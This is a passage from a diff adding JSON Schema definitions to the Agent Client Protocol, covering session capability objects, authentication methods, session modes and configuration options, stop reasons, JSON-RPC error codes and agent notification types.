will be unified in future versions of the protocol.\n\nSee protocol docs: [Session Capabilities](https://agentclientprotocol.com/protocol/initialization#session-capabilities)", + "type": "object", + "properties": { + "list": { + "description": "Whether the agent supports `session/list`.\n\nOptional. Omitted or `null` both mean the agent does not advertise support.\nSupplying `{}` means the agent supports listing sessions.", + "anyOf": [ + { + "$ref": "#/$defs/SessionListCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "delete": { + "description": "Whether the agent supports `session/delete`.\n\nOptional. Omitted or `null` both mean the agent does not advertise support.\nSupplying `{}` means the agent supports deleting sessions from `session/list`.", + "anyOf": [ + { + "$ref": "#/$defs/SessionDeleteCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "additionalDirectories": { + "description": "Whether the agent supports `additionalDirectories` on supported session lifecycle requests.\n\nOptional. Omitted or `null` both mean the agent does not advertise support.\nSupplying `{}` means the agent supports `additionalDirectories` on\nsupported session lifecycle requests.\n\nAgents that also support `session/list` may return\n`SessionInfo.additionalDirectories` to report the complete ordered\nadditional-root list associated with a listed session.", + "anyOf": [ + { + "$ref": "#/$defs/SessionAdditionalDirectoriesCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "resume": { + "description": "Whether the agent supports `session/resume`.\n\nOptional. Omitted or `null` both mean the agent does not advertise support.\nSupplying `{}` means the agent supports resuming sessions.", + "anyOf": [ + { + "$ref": "#/$defs/SessionResumeCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "close": { + "description": "Whether the agent supports `session/close`.\n\nOptional. Omitted or `null` both mean the agent does not advertise support.\nSupplying `{}` means the agent supports closing sessions.", + "anyOf": [ + { + "$ref": "#/$defs/SessionCloseCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "SessionListCapabilities": { + "description": "Capabilities for the `session/list` method.\n\nSupplying `{}` means the agent supports listing sessions.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "SessionDeleteCapabilities": { + "description": "Capabilities for the `session/delete` method.\n\nSupplying `{}` means the agent supports deleting sessions from `session/list`.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "SessionAdditionalDirectoriesCapabilities": { + "description": "Capabilities for additional session directories support.\n\nSupplying `{}` means the agent supports the `additionalDirectories` field on\nsupported session lifecycle requests. Agents that also support\n`session/list` may return `SessionInfo.additionalDirectories` to report the\ncomplete ordered additional-root list associated with a listed session.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "SessionResumeCapabilities": { + "description": "Capabilities for the `session/resume` method.\n\nSupplying `{}` means the agent supports resuming sessions.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "SessionCloseCapabilities": { + "description": "Capabilities for the `session/close` method.\n\nSupplying `{}` means the agent supports closing sessions.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "AgentAuthCapabilities": { + "description": "Authentication-related capabilities supported by the agent.", + "type": "object", + "properties": { + "logout": { + "description": "Whether the agent supports the logout method.\n\nOptional. Omitted or `null` both mean the agent does not advertise support.\nSupplying `{}` means the agent supports the logout method.", + "anyOf": [ + { + "$ref": "#/$defs/LogoutCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "LogoutCapabilities": { + "description": "Logout capabilities supported by the agent.\n\nSupplying `{}` means the agent supports the logout method.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "AuthMethod": { + "description": "Describes an available authentication method.\n\nThe `type` field acts as the discriminator in the serialized JSON form.\nWhen no `type` is present, the method is treated as `agent`.", + "anyOf": [ + { + "title": "agent", + "description": "Agent handles authentication itself through `authenticate`.\n\nThis is the default when no `type` is specified.", + "allOf": [ + { + "$ref": "#/$defs/AuthMethodAgent" + } + ] + } + ] + }, + "AuthMethodAgent": { + "description": "Agent handles authentication itself through `authenticate`.\n\nThis is the default authentication method type.", + "type": "object", + "properties": { + "id": { + "description": "Unique identifier for this authentication method.", + "allOf": [ + { + "$ref": "#/$defs/AuthMethodId" + } + ] + }, + "name": { + "description": "Human-readable name of the authentication method.", + "type": "string" + }, + "description": { + "description": "Optional description providing more details about this authentication method.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["id", "name"] + }, + "AuthMethodId": { + "description": "Typed identifier used for auth method values on the wire.", + "type": "string" + }, + "Implementation": { + "description": "Metadata about the implementation of the client or agent.\nDescribes the name and version of an ACP implementation, with an optional\ntitle for UI representation.", + "type": "object", + "properties": { + "name": { + "description": "Intended for programmatic or logical use, but can be used as a display\nname fallback if title isn’t present.", + "type": "string" + }, + "title": { + "description": "Intended for UI and end-user contexts — optimized to be human-readable\nand easily understood.\n\nIf not provided, the name should be used for display.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "version": { + "description": "Version of the implementation. Can be displayed to the user or used\nfor debugging or metrics purposes. (e.g. \"1.0.0\").", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "version"] + }, + "AuthenticateResponse": { + "description": "Response to the `authenticate` method.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "authenticate" + }, + "LogoutResponse": { + "description": "Response to the `logout` method.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "logout" + }, + "NewSessionResponse": { + "description": "Response from creating a new session.\n\nSee protocol docs: [Creating a Session](https://agentclientprotocol.com/protocol/session-setup#creating-a-session)", + "type": "object", + "properties": { + "sessionId": { + "description": "Unique identifier for the created session.\n\nUsed in all subsequent requests for this conversation.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "modes": { + "description": "Initial mode state if supported by the Agent\n\nSee protocol docs: [Session Modes](https://agentclientprotocol.com/protocol/session-modes)", + "anyOf": [ + { + "$ref": "#/$defs/SessionModeState" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "configOptions": { + "description": "Initial session configuration options if supported by the Agent.", + "type": ["array", "null"], + "items": { + "$ref": "#/$defs/SessionConfigOption" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId"], + "x-side": "agent", + "x-method": "session/new" + }, + "SessionModeState": { + "description": "The set of modes and the one currently active.", + "type": "object", + "properties": { + "currentModeId": { + "description": "The current mode the Agent is in.", + "allOf": [ + { + "$ref": "#/$defs/SessionModeId" + } + ] + }, + "availableModes": { + "description": "The set of modes that the Agent can operate in", + "type": "array", + "items": { + "$ref": "#/$defs/SessionMode" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["currentModeId", "availableModes"] + }, + "SessionModeId": { + "description": "Unique identifier for a Session Mode.", + "type": "string" + }, + "SessionMode": { + "description": "A mode the agent can operate in.\n\nSee protocol docs: [Session Modes](https://agentclientprotocol.com/protocol/session-modes)", + "type": "object", + "properties": { + "id": { + "description": "Stable identifier used to refer to this protocol object in later messages.", + "allOf": [ + { + "$ref": "#/$defs/SessionModeId" + } + ] + }, + "name": { + "description": "Human-readable name shown for this protocol object.", + "type": "string" + }, + "description": { + "description": "Optional human-readable details shown with this protocol object.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["id", "name"] + }, + "SessionConfigOption": { + "description": "A session configuration option selector and its current state.", + "type": "object", + "properties": { + "id": { + "description": "Unique identifier for the configuration option.", + "allOf": [ + { + "$ref": "#/$defs/SessionConfigId" + } + ] + }, + "name": { + "description": "Human-readable label for the option.", + "type": "string" + }, + "description": { + "description": "Optional description for the Client to display to the user.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "category": { + "description": "Optional semantic category for this option (UX only).", + "anyOf": [ + { + "$ref": "#/$defs/SessionConfigOptionCategory" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["id", "name"], + "oneOf": [ + { + "description": "Single-value selector (dropdown).", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "select" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/SessionConfigSelect" + } + ] + }, + { + "description": "Boolean on/off toggle.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "boolean" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/SessionConfigBoolean" + } + ] + } + ], + "discriminator": { + "propertyName": "type" + } + }, + "SessionConfigId": { + "description": "Unique identifier for a session configuration option.", + "type": "string" + }, + "SessionConfigOptionCategory": { + "description": "Semantic category for a session configuration option.\n\nThis is intended to help Clients distinguish broadly common selectors (e.g. model selector vs\nsession mode selector vs thought/reasoning level) for UX purposes (keyboard shortcuts, icons,\nplacement). It MUST NOT be required for correctness. Clients MUST handle missing or unknown\ncategories gracefully.\n\nCategory names beginning with `_` are free for custom use, like other ACP extension methods.\nCategory names that do not begin with `_` are reserved for the ACP spec.", + "anyOf": [ + { + "description": "Session mode selector.", + "type": "string", + "const": "mode" + }, + { + "description": "Model selector.", + "type": "string", + "const": "model" + }, + { + "description": "Model-related configuration parameter.", + "type": "string", + "const": "model_config" + }, + { + "description": "Thought/reasoning level selector.", + "type": "string", + "const": "thought_level" + }, + { + "title": "other", + "description": "Unknown / uncategorized selector.", + "type": "string" + } + ] + }, + "SessionConfigValueId": { + "description": "Unique identifier for a session configuration option value.", + "type": "string" + }, + "SessionConfigSelectOptions": { + "description": "Possible values for a session configuration option.", + "anyOf": [ + { + "title": "Ungrouped", + "description": "A flat list of options with no grouping.", + "type": "array", + "items": { + "$ref": "#/$defs/SessionConfigSelectOption" + } + }, + { + "title": "Grouped", + "description": "A list of options grouped under headers.", + "type": "array", + "items": { + "$ref": "#/$defs/SessionConfigSelectGroup" + } + } + ] + }, + "SessionConfigSelectOption": { + "description": "A possible value for a session configuration option.", + "type": "object", + "properties": { + "value": { + "description": "Unique identifier for this option value.", + "allOf": [ + { + "$ref": "#/$defs/SessionConfigValueId" + } + ] + }, + "name": { + "description": "Human-readable label for this option value.", + "type": "string" + }, + "description": { + "description": "Optional description for this option value.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["value", "name"] + }, + "SessionConfigSelectGroup": { + "description": "A group of possible values for a session configuration option.", + "type": "object", + "properties": { + "group": { + "description": "Unique identifier for this group.", + "allOf": [ + { + "$ref": "#/$defs/SessionConfigGroupId" + } + ] + }, + "name": { + "description": "Human-readable label for this group.", + "type": "string" + }, + "options": { + "description": "The set of option values in this group.", + "type": "array", + "items": { + "$ref": "#/$defs/SessionConfigSelectOption" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["group", "name", "options"] + }, + "SessionConfigGroupId": { + "description": "Unique identifier for a session configuration option value group.", + "type": "string" + }, + "SessionConfigSelect": { + "description": "A single-value selector (dropdown) session configuration option payload.", + "type": "object", + "properties": { + "currentValue": { + "description": "The currently selected value.", + "allOf": [ + { + "$ref": "#/$defs/SessionConfigValueId" + } + ] + }, + "options": { + "description": "The set of selectable options.", + "allOf": [ + { + "$ref": "#/$defs/SessionConfigSelectOptions" + } + ] + } + }, + "required": ["currentValue", "options"] + }, + "SessionConfigBoolean": { + "description": "A boolean on/off toggle session configuration option payload.", + "type": "object", + "properties": { + "currentValue": { + "description": "The current value of the boolean option.", + "type": "boolean" + } + }, + "required": ["currentValue"] + }, + "LoadSessionResponse": { + "description": "Response from loading an existing session.", + "type": "object", + "properties": { + "modes": { + "description": "Initial mode state if supported by the Agent\n\nSee protocol docs: [Session Modes](https://agentclientprotocol.com/protocol/session-modes)", + "anyOf": [ + { + "$ref": "#/$defs/SessionModeState" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "configOptions": { + "description": "Initial session configuration options if supported by the Agent.", + "type": ["array", "null"], + "items": { + "$ref": "#/$defs/SessionConfigOption" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "session/load" + }, + "ListSessionsResponse": { + "description": "Response from listing sessions.", + "type": "object", + "properties": { + "sessions": { + "description": "Array of session information objects", + "type": "array", + "items": { + "$ref": "#/$defs/SessionInfo" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "nextCursor": { + "description": "Opaque cursor token. If present, pass this in the next request's cursor parameter\nto fetch the next page. If absent, there are no more results.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessions"], + "x-side": "agent", + "x-method": "session/list" + }, + "SessionInfo": { + "description": "Information about a session returned by session/list", + "type": "object", + "properties": { + "sessionId": { + "description": "Unique identifier for the session", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "cwd": { + "description": "The working directory for this session. Must be an absolute path.", + "type": "string" + }, + "additionalDirectories": { + "description": "Additional workspace roots reported for this session. Each path must be absolute.\n\nWhen present, this is the complete ordered additional-root list reported\nby the Agent. Omitted and empty values are equivalent: the response\nreports no additional roots.", + "type": "array", + "items": { + "type": "string" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "title": { + "description": "Human-readable title for the session", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "updatedAt": { + "description": "ISO 8601 timestamp of last activity", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "cwd"] + }, + "DeleteSessionResponse": { + "description": "Response from deleting a session.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "session/delete" + }, + "ResumeSessionResponse": { + "description": "Response from resuming an existing session.", + "type": "object", + "properties": { + "modes": { + "description": "Initial mode state if supported by the Agent\n\nSee protocol docs: [Session Modes](https://agentclientprotocol.com/protocol/session-modes)", + "anyOf": [ + { + "$ref": "#/$defs/SessionModeState" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "configOptions": { + "description": "Initial session configuration options if supported by the Agent.", + "type": ["array", "null"], + "items": { + "$ref": "#/$defs/SessionConfigOption" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "session/resume" + }, + "CloseSessionResponse": { + "description": "Response from closing a session.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "session/close" + }, + "SetSessionModeResponse": { + "description": "Response to `session/set_mode` method.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "session/set_mode" + }, + "SetSessionConfigOptionResponse": { + "description": "Response to `session/set_config_option` method.", + "type": "object", + "properties": { + "configOptions": { + "description": "The full set of configuration options and their current values.", + "type": "array", + "items": { + "$ref": "#/$defs/SessionConfigOption" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["configOptions"], + "x-side": "agent", + "x-method": "session/set_config_option" + }, + "PromptResponse": { + "description": "Response from processing a user prompt.\n\nSee protocol docs: [Check for Completion](https://agentclientprotocol.com/protocol/prompt-turn#4-check-for-completion)", + "type": "object", + "properties": { + "stopReason": { + "description": "Indicates why the agent stopped processing the turn.", + "allOf": [ + { + "$ref": "#/$defs/StopReason" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["stopReason"], + "x-side": "agent", + "x-method": "session/prompt" + }, + "StopReason": { + "description": "Reasons why an agent stops processing a prompt turn.\n\nSee protocol docs: [Stop Reasons](https://agentclientprotocol.com/protocol/prompt-turn#stop-reasons)", + "oneOf": [ + { + "description": "The turn ended successfully.", + "type": "string", + "const": "end_turn" + }, + { + "description": "The turn ended because the agent reached the maximum number of tokens.", + "type": "string", + "const": "max_tokens" + }, + { + "description": "The turn ended because the agent reached the maximum number of allowed\nagent requests between user turns.", + "type": "string", + "const": "max_turn_requests" + }, + { + "description": "The turn ended because the agent refused to continue. The user prompt\nand everything that comes after it won't be included in the next\nprompt, so this should be reflected in the UI.", + "type": "string", + "const": "refusal" + }, + { + "description": "The turn was cancelled by the client via `session/cancel`.\n\nThis stop reason MUST be returned when the client sends a `session/cancel`\nnotification, even if the cancellation causes exceptions in underlying operations.\nAgents should catch these exceptions and return this semantically meaningful\nresponse to confirm successful cancellation.", + "type": "string", + "const": "cancelled" + } + ] + }, + "ExtResponse": { + "description": "Allows for sending an arbitrary response to an [`ExtRequest`] that is not part of the ACP spec.\nExtension methods provide a way to add custom functionality while maintaining\nprotocol compatibility.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)" + }, + "Error": { + "description": "JSON-RPC error object.\n\nRepresents an error that occurred during method execution, following the\nJSON-RPC 2.0 error object specification with optional additional data.\n\nSee protocol docs: [JSON-RPC Error Object](https://www.jsonrpc.org/specification#error_object)", + "type": "object", + "properties": { + "code": { + "description": "A number indicating the error type that occurred.\nThis must be an integer as defined in the JSON-RPC specification.", + "allOf": [ + { + "$ref": "#/$defs/ErrorCode" + } + ] + }, + "message": { + "description": "A string providing a short description of the error.\nThe message should be limited to a concise single sentence.", + "type": "string" + }, + "data": { + "description": "Optional primitive or structured value that contains additional information about the error.\nThis may include debugging information or context-specific details.", + "x-deserialize-default-on-error": true + } + }, + "required": ["code", "message"] + }, + "ErrorCode": { + "description": "Predefined error codes for common JSON-RPC and ACP-specific errors.\n\nThese codes follow the JSON-RPC 2.0 specification for standard errors\nand use the reserved range (-32000 to -32099) for protocol-specific errors.", + "anyOf": [ + { + "title": "Parse error", + "description": "**Parse error**: Invalid JSON was received by the server.\nAn error occurred on the server while parsing the JSON text.", + "type": "integer", + "format": "int32", + "const": -32700 + }, + { + "title": "Invalid request", + "description": "**Invalid request**: The JSON sent is not a valid Request object.", + "type": "integer", + "format": "int32", + "const": -32600 + }, + { + "title": "Method not found", + "description": "**Method not found**: The method does not exist or is not available.", + "type": "integer", + "format": "int32", + "const": -32601 + }, + { + "title": "Invalid params", + "description": "**Invalid params**: Invalid method parameter(s).", + "type": "integer", + "format": "int32", + "const": -32602 + }, + { + "title": "Internal error", + "description": "**Internal error**: Internal JSON-RPC error.\nReserved for implementation-defined server errors.", + "type": "integer", + "format": "int32", + "const": -32603 + }, + { + "title": "Request cancelled", + "description": "**Request cancelled**: Execution of the method was aborted either due to a cancellation request from the caller or\nbecause of resource constraints or shutdown.", + "type": "integer", + "format": "int32", + "const": -32800 + }, + { + "title": "Authentication required", + "description": "**Authentication required**: Authentication is required before this operation can be performed.", + "type": "integer", + "format": "int32", + "const": -32000 + }, + { + "title": "Resource not found", + "description": "**Resource not found**: A given resource, such as a file, was not found.", + "type": "integer", + "format": "int32", + "const": -32002 + }, + { + "title": "Other", + "description": "Other undefined error code.", + "type": "integer", + "format": "int32" + } + ] + }, + "AgentNotification": { + "description": "A JSON-RPC notification object.", + "type": "object", + "properties": { + "method": { + "description": "The notification method name.", + "type": "string" + }, + "params": { + "description": "Method-specific notification parameters.", + "anyOf": [ + { + "description": "All possible notifications that an agent can send to a client.\n\nThis enum is used internally for routing RPC notifications. You typically won't need\nto use this directly.\n\nNotifications do not expect a response.", + "anyOf": [ + { + "title": "SessionNotification", + "description": "Handles session update notifications from the agent.\n\nThis is a notification endpoint (no response expected) that receives\nreal-time updates about session progress, including message chunks,\ntool calls, and execution plans.\n\nNote: Clients SHOULD continue accepting tool call updates even after\nsending a `session/cancel` notification, as the agent may send final\nupdates before responding with the cancelled stop reason.\n\nSee protocol docs: [Agent Reports Output](https://agentclientprotocol.com/protocol/prompt-turn#3-agent-reports-output)", + "allOf": [ + { + "$ref": "#/$defs/SessionNotification" + } + ] + }, + { + "title": "CompleteElicitationNotification", + "description": "Notification that a URL-based elicitation has completed.\n\nSee protocol docs: [Elicitation](https://agentclientprotocol.com/protocol/elicitation#url-completion)", + "allOf": [ + { + "$ref": "#/$defs/CompleteElicitationNotification" + } + ] + }, + { + "title": "ExtNotification", + "description": "Handles extension notifications from the agent.\n\nAllows the Agent to send an arbitrary notification that is not part of the ACP spec.\nExtension notifications provide a way to send one-way messages for custom functionality\nwhile maintaining protocol compatibility.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "allOf": [ + { + "$ref": "#/$defs/ExtNotification" + } + ] + } + ] + }, + { + "type": "null" + } + ] + } + }, + "required": ["method"], + "x-docs-ignore": true + }, + "SessionNotification": { + "description": "Notification containing a session update from the agent.\n\nUsed to stream real-time progress and results during prompt processing.\n\nSee protocol docs: [Agent Reports Output](https://agentclientprotocol.com/protocol/prompt-turn#3-agent-reports-output)", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session this update pertains to.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "update": { + "description": "The actual update content.", + "allOf": [ + { + "$ref": "#/$defs/SessionUpdate" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "update"], + "x-side": "client", + "x-method": "session/update" + }, + "SessionUpdate": { + "description": "Different types of updates that can be sent during session processing.\n\nThese updates provide real-time feedback about the agent's progress.\n\nSee protocol docs: [Agent Reports Output](https://agentclientprotocol.com/protocol/prompt-turn#3-agent-reports-output)", + "oneOf": [ + { + "description": "A chunk of the user's message being streamed.", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "user_message_chunk" + } + 